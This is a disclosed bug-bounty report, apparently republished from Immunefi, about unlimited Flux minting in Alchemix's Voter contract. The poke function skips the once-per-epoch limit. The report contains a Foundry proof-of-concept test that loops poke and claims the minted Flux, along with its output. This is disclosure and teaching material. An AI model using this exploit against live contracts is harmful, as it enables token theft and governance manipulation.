Skip to content
Business logic Audit finding Intermediate

Unlimited Flux minting

The Voter contract's poke function lacks the once-per-epoch restriction that vote and reset have, so it can be called repeatedly to accrue unlimited Flux tokens. An attacker could mint large amounts of Flux, which has market value and can be used to boost voting power.

Tapir49939 Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

31222 - [SC - Critical] Unlimited Flux minting

Submitted on May 15th 2024 at 04:01:45 UTC by @Tapir49939 for Boost | Alchemix

Report ID: #31222

Report type: Smart Contract

Report severity: Critical

Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol

Impacts:

  • Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
  • Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

Description

Vulnerability Details

The attacker can mint unlimited amount of Flux tokens.

The vote and reset functions of the Voter contract could be called only once in an Epoch. Therefore, the amount of Flux tokens minted is limited.

function reset(uint256 _tokenId) public onlyNewEpoch(_tokenId) {
    if (msg.sender != admin) {
        require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
    }

    lastVoted[_tokenId] = block.timestamp;
    _reset(_tokenId);
    IVotingEscrow(veALCX).abstain(_tokenId);
    IFluxToken(FLUX).accrueFlux(_tokenId);  // Accrue Flux once in an Epoch, onlyNewEpoch modifier enforces this!
}

However, the poke function lacks such limitations and onlyNewEpoch modifier, and could be called any number of times. Poke calls _vote internal functions that accrues Flux.

function _vote(uint256 _tokenId, address[] memory _poolVote, uint256[] memory _weights, uint256 _boost) internal {
    _reset(_tokenId);

    uint256 _poolCnt = _poolVote.length;
    uint256 _totalVoteWeight = 0;
    uint256 _totalWeight = 0;

    for (uint256 i = 0; i < _poolCnt; i++) {
        _totalVoteWeight += _weights[i];
    }

    IFluxToken(FLUX).accrueFlux(_tokenId);  // Accrue Flux unlimited number of times through poke!!!
    ...
}

The attack scenario is simple:

  1. Vote for a pool.
  2. Keep calling poke in a loop, Flux will be minted.

Impact Details

Consequences are dire:

  1. Flux token has a market value.
  2. Flux token could be used to boost the voting power.

Proof of Concept

Run the test as: forge test --mp src/test/Boost.t.sol --fork-url 'https://...' -vv

pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract Boost is BaseTest {
    function setUp() public {
        setupContracts(block.timestamp);
    }

    function testFluxUnlimitedMint() public {
        address attacker = address(456);

        uint256 tokenId = createVeAlcx(attacker, 10e18, MAXTIME, false);

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        assertEq(flux.getUnclaimedFlux(tokenId), 0);

        hevm.prank(attacker);
        voter.vote(tokenId, pools, weights, 0);

        uint256 unclaimedBalance1 = flux.getUnclaimedFlux(tokenId);

        // Here the attacker mints Flux
        // increase/decrease loop bound to see the varing amount of Flux
        hevm.startPrank(attacker);
        for (uint i; i < 10000; i++) {
            voter.poke(tokenId);
        }
        hevm.stopPrank();

        uint256 unclaimedBalance2 = flux.getUnclaimedFlux(tokenId);

        assertGt(unclaimedBalance2, unclaimedBalance1);
        
        console.log("Flux balance = %s", unclaimedBalance2);

        hevm.startPrank(attacker);
        flux.claimFlux(tokenId, unclaimedBalance2);
    }
}

Output:

Flux balance = 98165526504584473482437      // For 10000 iterations
Flux balance = 196321237438075597852437     // For 20000 iterations
...

The original report as published on Immunefi, by Tapir49939. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The poke function calls the internal _vote logic that accrues Flux but does not enforce the onlyNewEpoch modifier that limits vote and reset to once per epoch.

Impact

An attacker could mint unlimited Flux tokens, which have market value and can be used to boost voting power, potentially manipulating governance outcomes.

What the attacker needed

A veALCX token (voting power); ability to call poke repeatedly

How it was found

  1. Vote for a pool using the vote function.
  2. Call poke repeatedly in a loop to accrue Flux each time.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Flux is a reward token earned by voting in this system. Normally you can only earn it once per voting period, but a function called poke lets you re-trigger the reward without that limit. By calling poke in a loop, an attacker can generate as much Flux as they want.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More from Alchemix

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.